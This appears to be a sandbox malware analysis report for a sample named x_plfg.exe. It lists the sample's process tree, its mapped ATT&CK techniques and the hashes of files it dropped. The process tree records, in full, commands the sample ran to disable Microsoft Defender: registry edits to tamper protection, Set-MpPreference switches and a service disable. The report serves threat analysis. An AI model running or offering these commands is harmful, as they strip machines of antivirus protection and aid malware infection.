    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1552,i,14705770355913426996,1801777600365637657,262144 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:2
    3⤵
    PID:4748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1704,i,17072052374812773896,766412700654092276,524288 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:11
    3⤵
    - System Time Discovery
    PID:792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2428,i,4032055126965417419,7466702550962235612,524288 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:13
    3⤵
    PID:5572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3588,i,9565730072310728310,13664392059045935735,2097152 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
    3⤵
    PID:4704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,14464568831091055304,7580370840122443972,2097152 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
    3⤵
    PID:6092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4300,i,3498491331273293984,16990884093552727525,2097152 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:1
    3⤵
    PID:2940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4348,i,10005426138450573342,5557072289170073642,2097152 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:9
    3⤵
    PID:2500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3848,i,12228674109039470132,17448855756685554970,524288 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:14
    3⤵
    PID:6036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5452,i,991195063797531395,1941816937863800949,2097152 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=3884 /prefetch:1
    3⤵
    PID:6384
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5640,i,10863193429993886155,12461133382055155446,524288 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
    3⤵
    PID:6440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5664,i,2435323996158443233,11840677399815224850,524288 --field-trial-handle=2200,i,16842472794496202138,1959269782970433381,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:14
    3⤵
    PID:5480

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3584

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2236

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4744

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6112

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:8

C:\Users\Admin\AppData\Roaming\Update32.exe
"C:\Users\Admin\AppData\Roaming\Update32.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3416

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"
1⤵
PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul
  2⤵
  PID:4380
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:4684
- - C:\Windows\System32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul
  2⤵
  PID:684
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:1944
- - C:\Windows\System32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:6140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
  2⤵
  PID:3472
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:2956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  PID:7352

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4736

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
PID:1860
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  PID:3380
- C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
  "C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"
  2⤵
  PID:2832

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"
1⤵
PID:5584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

identity_helper.Sparse.Stable.msix

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\identity_proxy\win11\identity_helper.Sparse.Stable.msix
Size 56KB
SHA256 e36301b2d5744e88cf4f88f7a8d64cb693998ecf5eba5566b5b5e34f11662895
MD5 4af466597b343ed9f8fb246f85c27ee0
SHA1 a57980ab26015a922696fcad87816efe3abcac57
SHA512 7d0e4230cb7833475454a391d7f23d0afd4b96c8ee3c7d2c3cf2bd2fa1c8b37c516f7eb6a0c7d408f5ef257675b9c6e3369c70f734233aae0a217588ab083ccd
SSDEEP 768:IzID6EvWANud6O/f9SwDsscAvkF4nK2en7a2szx72ou55XbFMXdSZXMZF4Z:bd/ud68fXnc94n4Bm7gLuvZaZ
TLSH
T1EF43D0736356BEC4791D838AE439DE92BE9FB35317C1092958481F25D38C9D88E2EC1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

edbres00001.jrs

Path C:\ProgramData\Microsoft\Network\Downloader\edbres00001.jrs
Size 1.2MB
SHA256 2fcb59ec2dee39890e8c6e85faeb3543b494876186a661a5def3ff9431d552f2
MD5 ea0cc54c85cc0924859397fdc99f3049
SHA1 4ba1d88dfbca93d6cdd6f12a10a5a8c16c283c8d
SHA512 ce11938191cc34849c6a0fdf4dba456a8522bf413bd1a201050aa2e27278bc2bbdb3d56139797f6fc5a84df9543087d31dbcf45459bbc90ee0ccc40083e8115c
SSDEEP 24:sfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfM/:n
MD5 SHA1 SHA512 SSDEEP

Submit Download

dotnet-hostfxr-8.0.15-win-x64.msi

Path C:\ProgramData\Package Cache\{11CCC9F6-77AA-4421-9EAC-BAEC36D96817}v64.60.31149\dotnet-hostfxr-8.0.15-win-x64.msi
Size 772KB
SHA256 61e3822ca930f0dd9d4bd2de0e61a7223fd2061cf65fb14eece3613fb478e7f9
MD5 dc0f15bafb341c1dafb5ae2a84013b21
SHA1 a4e1021cb015c1c473e3f9e358ecb96e9471a3db
SHA512 57b5d6a3c8a3ee250d6f009167b2b398d05a6e11ff759905d31e183e99a3f677470d55ce16dce2358d93a8a127b0c3ba2e7b6730f93d54f7ad9c6669f0ed0902
SSDEEP 12288:1CTr9F4zV1EgXmEI3os2Qx7E4D4Rxbp4K+1uiqy:1gGXdc3/7Rin+s
TLSH
T1C9F4AE237D80803AD9BA0D71953DD7B16F3DBD204A64889B6380B91DDDF11C0AE76BE6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dotnet-hostfxr-8.0.15-win-x64.msi

Path C:\ProgramData\Package Cache\{11CCC9F6-77AA-4421-9EAC-BAEC36D96817}v64.60.31149\dotnet-hostfxr-8.0.15-win-x64.msi
Size 772KB
SHA256 500dcb50a615940bbf6751c22aa7817c1e235ca56e5348684c5fbf9a0e022ada
MD5 96fa88b0e439286ad73a3e92f4bb5a46
SHA1 6d0f8ea002258919c774f9b42e8da7d4901292b8
SHA512 60e4ab9809e0d5ad3c0cef874d1dd2a384f64419a053bdf505469933a25e3f4b6488e8dd639e5d692740a4eac0491f7f30fbcadeba5284c6e9808af7cef07086
SSDEEP 12288:Jz81HzLrzcfdmsDIRtHMcneK6aPUfSuyu3PG7bct1:50zPzcfdnIRtZn3FPLsPG7by1
TLSH
T15BF46E37A0863CC4713DE193F5B4D891EF9F6AA112C06D878C094E2CE65F9994A6D83F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vc_runtimeAdditional_x86.msi

Path C:\ProgramData\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi
Size 140KB
SHA256 697e5671a198dbeb1b060b40d2bed8a2c6b847045748ec5af8a095fd4775c1d6
MD5 8c7a42e91ce398875b5ba79f48ba0983
SHA1 dde8cbf62def9b4e6f364d6488893e0216edc62a
SHA512 46eb4c7bcc74ce3b97617be5d8abc56f404dc906d2c14787acb0c54870a50984ebe2d56ecef89c9f6d3caa1e47af3a530681f247c24e0e7dddeae515f155fe13
SSDEEP 3072:LJyjFGJvLIcXcSqviQICInggXvkNmXRE:USIcXgvi3Bn
TLSH
T16FE38E07B7909137D0920331547ED3622F3DAC384BE1419A6B9976AD2F712C0A77B3E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vc_runtimeMinimum_x86.msi

Path C:\ProgramData\Package Cache\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\packages\vcRuntimeMinimum_x86\vc_runtimeMinimum_x86.msi
Size 148KB
SHA256 2d70b6757b53841dc6eb36401483973da76512037a14b106de895dd1993bd0f8
MD5 8615cf228615059b05eb0778f43166f4
SHA1 792800c1b38be0ced39ff227c50ce9bb8b3e66fd
SHA512 0facea0ffd3dc3c295e182114309bc3aaf9e0d060c4123e39ecd3e7cb3978e7f45cdf04c21025a01dc62446574af48397ed125592fa7b9d9f22c6e90b09b60cf
SSDEEP 3072:r0HxTxwDMD+LwE3Gq3PhlRJED9vdw/i6w+3:r0HnWjRJIvdwFwY
TLSH
T1DFE3EA77041379D070ADD296E97CE9A2FF8FB72212C92D81CC1D8E70E25C9885E6B51E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnWebGPUCache\data_2
Size 8KB
SHA256 82ee1629871bac579070ecfa7fb0719988b2e4efe98426e9025ebace920583c0
MD5 499d9ddba858d556eb158be027da1f0a
SHA1 c7eb7892215cb9c41472d8b4595f16016b721552
SHA512 0184b68a2be6db72f6ea8519492d5b2e5d204ba6b9eae1a7550132163da388c141afc62cf69d3bff5ff5b1151f65c1729c316f22b00d9001e03827b81dfcabe2
SSDEEP 24:RkHfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMU:RkQ
TLSH
T117F10037004338C0302CC282E879E8E3AB8FB32203D828048D081E30D64C68C4E6A84E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\MANIFEST-000001
Size 41B
SHA256 91186566555b470bdb7fba49cc71927acc18c76671952cda2e56bccc19062b41
MD5 f4671ebaaab16d8467e1b1f406df9fb9
SHA1 8cbea3d7a9b5a94d9defd33b0af1e8134dc2a319
SHA512 ec258c244775d9a850d488ec6b3ace27893f5b98e126b50261e91303a794af18b00f8b050c15f3f2c6ee6103d823fbbb0d4b6a61edfb3a9a2f9324c350ea228c
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0
Size 8KB
SHA256 8598986cc568e76564069a8e17e974f40a7616a0d92f7fdd5bc8b8a4858b83b9
MD5 6d329a4ffc0595bb080bc5ef48237005
SHA1 0d8a29ae7edbcde276f61be2a3bebcfd6674bc6d
SHA512 7622812453eb0589a34704aa40e6e5d6ffece3306ad6d44e52fb466fce9ffac24b360e478d0a541077b1b6a01d5ec37684de26911c1faeea1b398025b8a3def0
SSDEEP 24:IfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfM/:L
TLSH
T145F10033000778C0302CC2C2E838F9E2AB8FB32602DC28008D0C1E30C64C2884E6A88E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1
Size 264KB
SHA256 b067868eb7c1b477ec28ecc5fb4bc19d333c62e96aa73e5fe6eaabbef2cf7972
MD5 75f5710f9932ceb66839fa9329d3dae4
SHA1 651ea9c5ecb629a03cba0db2ef6f6250ce5cb317
SHA512 83214507f728609d492c93796ae78ed4a7f1e265225a98d51b06892acb7c2dc61023892840d8b8ba0f1e33ad5829d0dcc8cc4977b9f1651eba14a1871c62c775
SSDEEP 24:lGftfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMf1:ldH
TLSH
T1B4440037040339C0712CC283EA38E8A6AB8FB32202D829028D081E71C60E1884E6AC0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_3
Size 8KB
SHA256 e731f4f32dc354e0d008009822560b4ac46ec7a58935ed27c83b7f632c11c0b3
MD5 7d3e1b3b57f1690b819333ad56b5d1e6
SHA1 efb2f40c23a7e799b4e082af949b22f43755bf1d
SHA512 9fdcf01c45955bf82a08557901096cebe7d352c1e31143b1a35a8681afb40f4e008d60191ada8531522bdec47a8ee1bf624c7086fc0f3b60aabc9a3838c44312
SSDEEP 24:RvHfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMfMU:O
TLSH
T161F10033104338C0302CC282F83CE9A2AB8FB32202D82814CD0D1E31C64C28C4E6A94E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 1e4b9dca843169ec78324f1072c74b4e119592efd350dc00354e529db1b35cc4
MD5 d99488387dedc8e641e842ec80b2d603
SHA1 0ed54ab832ec2a8400094ae4d0a98bd2b4e6af2b
SHA512 fb1a8bbc2936bb8254bc18990b48abb702133f1a3c8b939108839ce6b8641cf7d00ceda19bb6b3b76db385d1f45832eada2c28a54fa756479579036d1ef206ad
TLSH
T165D02B5E1200BB823038D7EAED51ADB5B3FBB26203C47842980D1D56E70A082CF1E90F
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6b4b91e2c6408056d62e9ab108c4a1bc3372697cc673aea50cc1ab639cb36d31
MD5 31627e295d41c3cf43475c41d5522c43
SHA1 03580db0a47167f6acdfbb28d1db3e5fd631377d
SHA512 b71b6edd012c155ef24382afc691d07b436ca311747e424ecd928e1ae50b54eb9c2cef7113ea3e73a4f92dfa3cafacd84c0410c0f05a6860d79a46a87ba532f3
TLSH
T192D0C0293D44FC02C1891070760133D0755001F03056C3C59002E02DDC3814083DB09B
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 37abd39218624bea608ed1c31cedc29697ad7dcee756e85d36f477bc96d5d79e
MD5 02d5d30f7a50d6501cf8e28620d036a8
SHA1 7b35285f7d86d5c3e0211627a1949eba907bccc2
SHA512 75c5013e8f146add9f0df252bb7669ce045b68d4f02b1aa7609d01a9ab18fda0f9b2e387ce15f36d76b8019dce58f4ed010f4a4528819164adeaf356a9fdc485
TLSH
T1FFD0C02D3D44FC02C1891070760033D0756001F03056C3C59002E01DDC3814083DB0AF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 54733ee291c239e08f8af1c2e5749d23f4fc9c1f9f088abee5cb2792bceb0ca5
MD5 f4f7ef767050e49fcaea42861bd478b7
SHA1 b2333af0b241ce558e5bc7f02c4c6a88b6322b07
SHA512 5f154adc9a5e2eed696a696146eef30e5604b509ebafa9eb17b065a520c0ad000246a69a9a15f3fe585d8e2b8ea745c774382bcc4961cce37bc0afd4760d387e
TLSH
T1CE6178337A471CE476B58AC0FC2AA242B37B6B1344CD09625F5D7F32864E3D25AB208D
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 129fee92e2f86cb5fd1ecfb9e6fc1717ec722bf1b5a490c2d58ac4a2b9d37017
MD5 ceb15361030d39e856fba09f5cbe1b75
SHA1 934e3af62bb9841e1b79889f3acb1d02107c6070
SHA512 86567d6990a67f96d8d51c59be26d6a5f4818b76ea93363b6534245c3be0c8ef00ad8ef0a885610255ffb31bba7aaee62b0ce57f9508be2dda8d91600ac2ee50
SSDEEP 1536:cnUr2OejsSW6C9Fygn0u5zNbXl+7i97w0LDKvJ6k:UE1eASnspnX55bXlWiKdUk
TLSH
T16A63C237404B79C1706CC396ED78FDE6AB9FB7720ADA6C069C080E35D70D5985E2A81E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\5280f103-5ff8-4712-bd30-e5a0491b9593\index
Size 24B
SHA256 bd20c1f592bf4b0c405945b72dbda2dd2c1c1c409c3f3832e8c08899e53a326e
MD5 0f3e5fd508866ef94f12638d395d5607
SHA1 ace6966b7db9f4dfc6fc2471d587c505ee1f93af
SHA512 15f51dbd06866db528b6a30467010ce812626a6c964f46682e6e6770165e2adbdb78d7144f96961c2da66c0b6326b94875a2db9f57564e84dcd3cab4e958237b
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT
Size 16B
SHA256 a35bd7b9c0a6b40e100f7a88b423bcde989039ca0195fd1e9eb67bb9e8467772
MD5 c1668d23660edee8943585e5fa58a1a1
SHA1 618c90663a61b9ff379b68ca5d8bd3fc9bb861be
SHA512 f1e1cd9dddfac635755839ffb6950a7cbe3acaa34f8a03ec3b89ec5f2008461c2af25fbee06bfb18fecdc3263036084bbdd3988c2f39692d176acff72b31ed0e
MD5 SHA1 SHA512

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 551319273bdf5905c0113468632a1528efb660c78054869343a71e6a85006f2f
MD5 e18742618a50ca09854835822f3cf539
SHA1 dec36ddb0ac88d92acd3573cc6870ac70b8d8abb
SHA512 fd302885f50381c741e3349a129de0932a6c7ab5ff94ce57b902573736f7944baf75b575a5f6e69902fd28baaa8e3d77547345c11add6f73ac7190f072b78b88
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 4ac0cb8e82202bbcb69c1f1f23ebcbda078cf2a59debf50e2c609a1547ef6c91
MD5 3b53a7c9575dbbccf3a469c9c9e4757d
SHA1 5536c06b1011c50df16649a11a5861cce7f74318
SHA512 b7212f18107e436cae8a149b439db4addf43f36ccdc7bce4818714926b2d4a89508651b7b3d904c6cb8d452f6a64daec36d42f99f873cc8e3ea9bcf4b8638d46
SSDEEP 768:zPtndMogr1UkdH5n05gT699HbP5BCWS9+LqODeCyQj8Iu1B:zBqogrhp05gSbPrh2ODfyQm1B
TLSH
T1D603E1B14295FDF70693D5E379E4AC508A10CA0E68A5E7CE8B71DC0694610D5BF8CE72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 08fdc3c385796957180176559b425a1ce909b74a55eba1108002f5ee2be47310
MD5 a1298608002fe0d135c8b4775833c95a
SHA1 0b9844e508ab0a148a7907ab6ba54b9d99ed6f25
SHA512 f3e32941af68ab28780b4e5bedd226aff48f3be53ac4bbe41a3bcbbb8872ecf10b2a2fcab934456a1de2c6c48dc1710fb1428b31fda8ca8c9d8fd7888fc096c1
SSDEEP 768:arv+4UNbdB3vqC9x+Tf/O1DfhDtWyvPIINRzWnhIoAC+8r7W:absbT3aTfODfdhgyROIoHDra
TLSH
T1DB03C036E9785A63ECFAD2C87A4B73537EB8416396C60B90C5CD1B4C418B5AE530B852
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
Size 86B
SHA256 0e926e47d3e57fe53f7119eea75496b5b4620e54d69dc72ec9fbb20ff5a7c7f3
MD5 8e741019473b0df4f9de5473a76dde5a
SHA1 1cd823dd2c6870583667420c9bed667c4d6870c6
SHA512 fb2927a0cc35c4740ab6d124156f76faa3ef797b44c104268960441a771af42eacc80d14a271fa0e01077f1cf7262fb551a4c8698533c6a427a4f9fdc219b7e7
TLSH
T1EBA0120291C14100E5802012400B8FAE8B70D3524D34A01A00770237D015751104C8C4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

